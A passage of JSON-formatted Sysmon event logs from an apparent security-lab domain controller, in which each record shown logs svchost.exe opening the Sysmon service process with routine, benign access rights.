12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8479,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8480,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8481,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8482,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8483,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8484,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8485,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8486,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8487,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 